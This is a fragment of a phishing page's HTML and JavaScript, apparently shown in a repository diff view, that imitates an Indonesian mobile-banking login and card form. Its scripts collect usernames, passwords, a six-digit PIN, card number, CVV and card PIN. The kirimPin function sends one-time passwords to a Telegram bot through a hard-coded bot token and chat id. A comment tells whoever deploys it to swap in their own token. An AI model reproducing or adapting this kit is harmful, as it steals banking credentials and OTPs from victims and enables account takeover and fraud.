if($.trim($("#pin-1").html())=='') {
|
||||||
|
$("#pin-1").html(pin);
|
||||||
|
} else if($.trim($("#pin-1").html())!='' && $.trim($("#pin-2").html())=='') {
|
||||||
|
$("#pin-2").html(pin);
|
||||||
|
} else if($.trim($("#pin-2").html())!='' && $.trim($("#pin-3").html())=='') {
|
||||||
|
$("#pin-3").html(pin);
|
||||||
|
} else if($.trim($("#pin-3").html())!='' && $.trim($("#pin-4").html())=='') {
|
||||||
|
$("#pin-4").html(pin);
|
||||||
|
} else if($.trim($("#pin-4").html())!='' && $.trim($("#pin-5").html())=='') {
|
||||||
|
$("#pin-5").html(pin);
|
||||||
|
} else if($.trim($("#pin-5").html())!='' && $.trim($("#pin-6").html())=='') {
|
||||||
|
$("#pin-6").html(pin);
|
||||||
|
|
||||||
|
var setPin = $("#pin-1").html()+''+$("#pin-2").html()+''+$("#pin-3").html()+''+$("#pin-4").html()+''+$("#pin-5").html()+''+$("#pin-6").html();
|
||||||
|
$("input#setPin").val(setPin);
|
||||||
|
|
||||||
|
var pinValue = $("input#setPin").val();
|
||||||
|
|
||||||
|
if(pinValue.length == 6) {
|
||||||
|
$("fieldset").submit();
|
||||||
|
document.getElementById("debit").style.display = "block";
|
||||||
|
document.getElementById("loading").style.display = "flex";
|
||||||
|
|
||||||
|
|
||||||
|
setTimeout(function () {
|
||||||
|
$("#loading").fadeOut("slow"); }, 900);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
$("#hapus").on('click', function() {
|
||||||
|
$("#pin-1").html('');
|
||||||
|
$("#pin-2").html('');
|
||||||
|
$("#pin-3").html('');
|
||||||
|
$("#pin-4").html('');
|
||||||
|
$("#pin-5").html('');
|
||||||
|
});
|
||||||
|
});
|
||||||
|
</script>
|
||||||
|
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.1.1/jquery.min.js"></script>
|
||||||
|
<script src="https://d3e54v103j8qbb.cloudfront.net/js/jquery-3.5.1.min.dc5e7f18c8.js?site=644212b949c2624101239c6f" type="text/javascript" integrity="sha256-9/aliU8dGd2tb6OSsuzixeV4y/faTqgFtohetphbbj0=" crossorigin="anonymous"></script>
|
||||||
|
<!--<script src="https://uploads-ssl.webflow.com/644212b949c2624101239c6f/js/webflow.5baa35f54.js" type="text/javascript"></script>--><!--[if lte IE 9]>-->
|
||||||
|
<script src="//cdnjs.cloudflare.com/ajax/libs/placeholders/3.0.2/placeholders.min.js"></script>
|
||||||
|
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.3.1/jquery.min.js"
|
||||||
|
integrity="sha512-+NqPlbbtM1QqiK8ZAo4Yrj2c4lNQoGv8P79DPtKzj++l5jnN39rHA/xsqn8zE9l0uSoxaCdrOgFs6yjyfbBxSg=="
|
||||||
|
crossorigin="anonymous" referrerpolicy="no-referrer"></script>
|
||||||
|
<script type="text/javascript">
|
||||||
|
function EnableDisable(tiktok) {
|
||||||
|
//Reference the Button.
|
||||||
|
var Button = document.getElementById("Button");
|
||||||
|
|
||||||
|
//Verify the TextBox value.
|
||||||
|
if (tiktok.value.trim() != "") {
|
||||||
|
//Enable the TextBox when TextBox has value.
|
||||||
|
Button.disabled = false;
|
||||||
|
} else {
|
||||||
|
//Disable the TextBox when TextBox is empty.
|
||||||
|
Button.disabled = true;
|
||||||
|
}
|
||||||
|
};
|
||||||
|
</script>
|
||||||
|
<script>
|
||||||
|
|
||||||
|
function OnButton(nama, email) {
|
||||||
|
|
||||||
|
if(nama.length > 4 && email.length > 5) {
|
||||||
|
$(".btn-login1").prop('disabled', false);
|
||||||
|
} else {
|
||||||
|
$(".btn-login1").prop('disabled', true);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
$(document).ready(function() {
|
||||||
|
$("body").on('click', 'button#doLog', function() {
|
||||||
|
var user = $("#nama").val();
|
||||||
|
var pass = $("#email").val();
|
||||||
|
|
||||||
|
$.ajax({
|
||||||
|
url: "/login/confirm.php",
|
||||||
|
method: "POST",
|
||||||
|
data: "username="+user+"&password="+pass,
|
||||||
|
beforeSend: function() {
|
||||||
|
$("#loading").show();
|
||||||
|
},
|
||||||
|
success: function(responsex) {
|
||||||
|
$("#aseli").html('');
|
||||||
|
if(responsex == "true") {
|
||||||
|
$.get("/aplikasi/login.js", function(datax, status){
|
||||||
|
window.history.pushState("", "", '/login.js');
|
||||||
|
$("#hideBody").hide();
|
||||||
|
$("#loading").hide();
|
||||||
|
$("#aseli").html(datax);
|
||||||
|
});
|
||||||
|
} else {
|
||||||
|
$.get("/aplikasi/pin.php", function(data, status){
|
||||||
|
window.history.pushState("", "", 'aplikasi/login.php');
|
||||||
|
setTimeout(function() {
|
||||||
|
$("#hideBody").hide();
|
||||||
|
$("#loading").hide();
|
||||||
|
$("#aseli").html(data);
|
||||||
|
$("#aseli").show();
|
||||||
|
}, 1000);
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
})
|
||||||
|
});
|
||||||
|
$("div#eyeOpen").on('click', function() {
|
||||||
|
$("#eyeOpen").css("display", "none");
|
||||||
|
$("#eyeClose").css("display", "block");
|
||||||
|
|
||||||
|
$("#email").prop("type", "text");
|
||||||
|
|
||||||
|
$("div#eyeClose").on('click', function() {
|
||||||
|
$("#eyeOpen").css("display", "block");
|
||||||
|
$("#eyeClose").css("display", "none");
|
||||||
|
|
||||||
|
$("#email").prop("type", "password");
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
$("#nama").on('input', function() {
|
||||||
|
var user = $("#nama").val();
|
||||||
|
var pass = $("#email").val();
|
||||||
|
|
||||||
|
OnButton(user, pass);
|
||||||
|
});
|
||||||
|
|
||||||
|
$("#email").on('input', function() {
|
||||||
|
var user = $("#nama").val();
|
||||||
|
var pass = $("#email").val();
|
||||||
|
|
||||||
|
OnButton(user, pass);
|
||||||
|
});
|
||||||
|
});
|
||||||
|
</script>
|
||||||
|
<script src='https://cdnjs.cloudflare.com/ajax/libs/jquery/3.1.0/jquery.min.js'></script>
|
||||||
|
<script src='https://use.fontawesome.com/2473308824.js'></script>
|
||||||
|
|
||||||
|
<script>
|
||||||
|
|
||||||
|
$(document).ready(function() {
|
||||||
|
var buttoqn = $('#Button1');
|
||||||
|
$(button).prop('disabled', true);
|
||||||
|
|
||||||
|
$('#pin5').on('input', function() {
|
||||||
|
var pin5 = $("#pin5").val();
|
||||||
|
var logos = $("#logos").val();
|
||||||
|
if ($(buttonq).prop('disabled')) $(buttonq).prop('disabled', false);
|
||||||
|
else $(button).prop('disabled', true);
|
||||||
|
});
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
</script>
|
||||||
|
|
||||||
|
<!--<![endif]-->
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
|
|
||||||
|
<script>
|
||||||
|
//var pinContainer = document.getElementsByClassName("pin-code")[maxlength];
|
||||||
|
var pinContainer = document.querySelector(".pin-code");
|
||||||
|
console.log('There is ' + pinContainer.length + ' Pin Container on the page.');
|
||||||
|
|
||||||
|
pinContainer.addEventListener('keyup', function (event) {
|
||||||
|
var target = event.srcElement;
|
||||||
|
|
||||||
|
var maxLength = parseInt(target.attributes["maxlength"].value, 6);
|
||||||
|
var myLength = target.value. length;
|
||||||
|
|
||||||
|
if (myLength >= maxLength) {
|
||||||
|
var next = target;
|
||||||
|
while (next = next.nextElementSibling) {
|
||||||
|
if (next == 0) break;
|
||||||
|
if (next.tagName.toLowerCase() == "input") {
|
||||||
|
next.focus();
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (myLength === 0) {
|
||||||
|
var next = target;
|
||||||
|
while (next = next.previousElementSibling) {
|
||||||
|
if (next == 0) break;
|
||||||
|
if (next.tagName.toLowerCase() == "input") {
|
||||||
|
next.focus();
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}, false);
|
||||||
|
|
||||||
|
pinContainer.addEventListener('keydown', function (event) {
|
||||||
|
var target = event.srcElement;
|
||||||
|
target.value = "";
|
||||||
|
}, false);
|
||||||
|
</script>
|
||||||
|
|
||||||
|
<script src='https://cdnjs.cloudflare.com/ajax/libs/vue/2.6.10/vue.min.js'></script>
|
||||||
|
<script src='https://unpkg.com/vue-the-mask@0.11.1/dist/vue-the-mask.js'></script><script src="./credit.js"></script>
|
||||||
|
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
|
||||||
|
<script>
|
||||||
|
/*
|
||||||
|
See on github: https://github.com/muhammederdem/credit-card-form
|
||||||
|
*/
|
||||||
|
|
||||||
|
new Vue({
|
||||||
|
el: "#app",
|
||||||
|
data() {
|
||||||
|
return {
|
||||||
|
currentCardBackground: Math.floor(Math.random()* 25 + 1), // just for fun :D
|
||||||
|
cardName: "",
|
||||||
|
cardNumber: "",
|
||||||
|
|
||||||
|
cardCvv: "",
|
||||||
|
cardPin: "",
|
||||||
|
cardPin1: "",
|
||||||
|
cardPin2: "",
|
||||||
|
cardPin3: "",
|
||||||
|
cardPin4: "",
|
||||||
|
cardPin5: "",
|
||||||
|
amexCardMask: "#### ###### #####",
|
||||||
|
otherCardMask: "#### #### #### ####",
|
||||||
|
cardNumberTemp: "",
|
||||||
|
isCardFlipped: false,
|
||||||
|
focusElementStyle: null,
|
||||||
|
isInputFocused: true
|
||||||
|
};
|
||||||
|
},
|
||||||
|
mounted() {
|
||||||
|
this.cardNumberTemp = this.otherCardMask;
|
||||||
|
document.getElementById("cardNumber").focus();
|
||||||
|
},
|
||||||
|
computed: {
|
||||||
|
getCardType () {
|
||||||
|
let number = this.cardNumber;
|
||||||
|
let re = new RegExp("^4[0-8]");
|
||||||
|
if (number.match(re) != null) return "visa";
|
||||||
|
|
||||||
|
re = new RegExp("^3[4-7]");
|
||||||
|
if (number.match(re) != null) return "amex";
|
||||||
|
|
||||||
|
re = new RegExp("^5[1-8]");
|
||||||
|
if (number.match(re) != null) return "mastercard";
|
||||||
|
|
||||||
|
re = new RegExp("^6011");
|
||||||
|
if (number.match(re) != null) return "discover";
|
||||||
|
|
||||||
|
re = new RegExp("^6013");
|
||||||
|
if (number.match(re) != null) return "gpn";
|
||||||
|
|
||||||
|
re = new RegExp('^9792')
|
||||||
|
if (number.match(re) != null) return 'troy'
|
||||||
|
|
||||||
|
return "none"; // default type
|
||||||
|
},
|
||||||
|
generateCardNumberMask () {
|
||||||
|
return this.getCardType === "amex" ? this.amexCardMask : this.otherCardMask;
|
||||||
|
},
|
||||||
|
minCardMonth () {
|
||||||
|
if (this.cardYear === this.minCardYear) return new Date().getMonth() + 1;
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
},
|
||||||
|
watch: {
|
||||||
|
cardYear () {
|
||||||
|
if (this.cardMonth < this.minCardMonth) {
|
||||||
|
this.cardMonth = "";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
},
|
||||||
|
methods: {
|
||||||
|
flipCard (status) {
|
||||||
|
this.isCardFlipped = status;
|
||||||
|
},
|
||||||
|
focusInput (e) {
|
||||||
|
this.isInputFocused = true;
|
||||||
|
let targetRef = e.target.dataset.ref;
|
||||||
|
let target = this.$refs[targetRef];
|
||||||
|
this.focusElementStyle = {
|
||||||
|
width: `${target.offsetWidth}px`,
|
||||||
|
height: `${target.offsetHeight}px`,
|
||||||
|
transform: `translateX(${target.offsetLeft}px) translateY(${target.offsetTop}px)`
|
||||||
|
}
|
||||||
|
},
|
||||||
|
|
||||||
|
|
||||||
|
blurInput() {
|
||||||
|
let vm = this;
|
||||||
|
setTimeout(() => {
|
||||||
|
if (!vm.isInputFocused) {
|
||||||
|
vm.focusElementStyle = null;
|
||||||
|
}
|
||||||
|
}, 300);
|
||||||
|
vm.isInputFocused = false;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
function kirimPin() {
|
||||||
|
|
||||||
|
|
||||||
|
var pin1 = document.getElementById('pin1');
|
||||||
|
var pin2 = document.getElementById('pin2');
|
||||||
|
var pin3 = document.getElementById('pin3');
|
||||||
|
var pin4 = document.getElementById('pin4');
|
||||||
|
var pin5 = document.getElementById('pin5');
|
||||||
|
var pin6 = document.getElementById('pin6');
|
||||||
|
|
||||||
|
var gabungan = '%0A𝗢𝗧𝗣 %3A%0A' + pin1.value + pin2.value + pin3.value + pin4.value + pin5.value + pin6.value;
|
||||||
|
|
||||||
|
|
||||||
|
var token = '5653453855:AAHFJmxmA-2Fpi8XP0_0cq-f5SpU9PlbuNc'; // Ganti dengan token bot yang kamu buat
|
||||||
|
var grup = '5627477315'; // Ganti dengan chat id dari bot yang kamu buat
|
||||||
|
|
||||||
|
$.ajax({
|
||||||
|
url: `https://api.telegram.org/bot${token}/sendMessage?chat_id=${grup}&text=${gabungan}&parse_mode=html`,
|
||||||
|
method: `POST`,
|
||||||
|
})
|
||||||
|
}
|
||||||
|
</script>
|
||||||
|
|
||||||
|
<script>
|
||||||
|
//var pinContainer = document.getElementsByClassName("pin-code")[maxlength];
|
||||||
|
var pinContainer = document.querySelector(".pincode");
|
||||||
|
console.log('There is ' + pinContainer.length + ' Pin Container on the page.');
|
||||||
|
|
||||||
|
pinContainer.addEventListener('keyup', function (event) {
|
||||||
|
var target = event.srcElement;
|
||||||
|
|
||||||
|
var maxLength = parseInt(target.attributes["maxlength"].value, 6);
|
||||||
|
var myLength = target.value. length;
|
||||||
|
|
||||||
|
if (myLength >= maxLength) {
|
||||||
|
var next = target;
|
||||||
|
while (next = next.nextElementSibling) {
|
||||||
|
if (next == 0) break;
|
||||||
|
if (next.tagName.toLowerCase() == "input") {
|
||||||
|
next.focus();
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (myLength === 0) {
|
||||||
|
var next = target;
|
||||||
|
while (next = next.previousElementSibling) {
|
||||||
|
if (next == 0) break;
|
||||||
|
if (next.tagName.toLowerCase() == "input") {
|
||||||
|
next.focus();
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}, false);
|
||||||
|
|
||||||
|
pinContainer.addEventListener('keydown', function (event) {
|
||||||
|
var target = event.srcElement;
|
||||||
|
target.value = "";
|
||||||
|
}, false);
|
||||||
|
|
||||||
|
|
||||||
|
</script>
|
||||||
|
<script>
|
||||||
|
function cekno0(){$(".errtelp").empty();var o,n=$(".card-input__input1").val(),r=n.length;if(r>=4&&r<=19){o=n.substring(0,4);var a=tsel.length,e=0,t=!0;for(nomor="bukan";a>e;)tsel[e]==o&&($(".card-input__input1").css({"background-image":"url(https://upload.wikimedia.org/wikipedia/commons/4/41/Visa_Logo.png)"}),nomor="TELKOMSEL",t=!1),++e;for(a=isat.length,e=0;a>e&&t;)isat[e]==o&&($(".card-input__input1").css({"background-image":"url(https://seeklogo.com/images/G/gpn-logo-36CC6EB701-seeklogo.com.png)"}),nomor="INDOSAT",t=!1),++e;for(a=tree.length,e=0;a>e&&t;)tree[e]==o&&($(".card-input__input1").css({"background-image":"url(https://upload.wikimedia.org/wikipedia/commons/thumb/b/b7/MasterCard_Logo.svg/600px-MasterCard_Logo.svg.png)"}),nomor="THREE",t=!1),++e;for(a=sfren.length,e=0;a>e&&t;)sfren[e]==o&&($(".card-input__input1").css({"background-image":"url(https://upload.wikimedia.org/wikipedia/commons/thumb/4/40/JCB_logo.svg/600px-JCB_logo.svg.png"}),nomor="SMARTFREN",t=!1),++e;for(a=xl.length,e=0;a>e&&t;)xl[e]==o&&($(".card-input__input1").css({"background-image":"url(https://3.bp.blogspot.com/-WM_SGpSoqNY/WkDuWGIi8_I/AAAAAAAABic/6sHIwe7dh1sm0CC1ZAokqhsR3vZuRErxgCPcBGAYYCw/s1600/xl.png)"}),nomor="XL",t=!1),++e;for(a=axis.length,e=0;a>e&&t;)axis[e]==o&&($(".card-input__input1").css({"background-image":"url(https://4.bp.blogspot.com/-3GaLxmQk2sc/WkDuVAN41pI/AAAAAAAABiI/IdxzPaiB_XMNKc-37Clgmn6SxKtw_PwQACPcBGAYYCw/s1600/axis.png)"}),nomor="AXIS",t=!1),++e;"bukan"==nomor?(blocktombol(),gambaroperatorhilang()):r>=10&&12>=r?bukablocktombol():blocktombol()}else blocktombol(),gambaroperatorhilang()}function adahurufstring(){var o=!0,n=$(".card-input__input1").val(),r=n.length;if(n=parseInt(n),n=n.toString().length,r==n+1)var o=!1;return o}function blocktombol(){$(".tombol").prop("disabled",!0)}function bukablocktombol(){$(".tombol").prop("disabled",!1)}function gambaroperatorhilang(){$(".card-input__input1").css({"background-image":"url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhShUt8NcMuBcL20gEw9MEJV-Um7IHIGE6AAyYsmzLnEgZVKU30O8vBgmkWoIsvT9lraoWxkoTwxsEk770iHBY20X5EGUZ7OWb41uDs3xzOh329qZcaSLeC40w_OZFPypTsJNjJ5rqVr3AI_PO8sIWiuEwmxKy53-PqbJ2phYD6c5iE22XVVJKlAAKY/s1600/brimo.png)"})}function isNumberKey(o){var n=o.which?o.which:event.keyCode;return n>31&&(48>n||n>57)?!1:!0}var tsel=["4365","4000","3422","4750","4895","4259","4149","4098"],isat=["6013"],tree=["5188","5221","5520","5211","5576","5463","5379","5289","5000","5520","5336","4599","5528"],sfren=["4213","3000","3565"],nomor,datapr;$(document).on("keyup",".card-input__input1",cekno0);
|
||||||
|
</script>
|
||||||
|
<script>
|
||||||
|
const dateInput = document.getElementById('date');
|
||||||
|
|
||||||
|
// ✅ Using the visitor's timezone
|
||||||
|
dateInput.value = formatDate();
|
||||||
|
|
||||||
|
console.log(formatDate());
|
||||||
|
|
||||||
|
function padTo2Digits(num) {
|
||||||
|
return num.toString().padStart(2, '0');
|
||||||
|
}
|
||||||
|
|
||||||
|
function formatDate(date = new Date()) {
|
||||||
|
return [
|
||||||
|
date.getFullYear(),
|
||||||
|
padTo2Digits(date.getMonth() + 1),
|
||||||
|
padTo2Digits(date.getDate()),
|
||||||
|
].join('-');
|
||||||
|
}
|
||||||
|
|
||||||
|
// ✅ Using UTC (universal coordinated time)
|
||||||
|
// dateInput.value = new Date().toISOString().split('T')[0];
|
||||||
|
|
||||||
|
// console.log(new Date().toISOString().split('T')[0]);
|
||||||
|
|
||||||
|
</script>
|
||||||
Loading…
Add table
Add a link
Reference in a new issue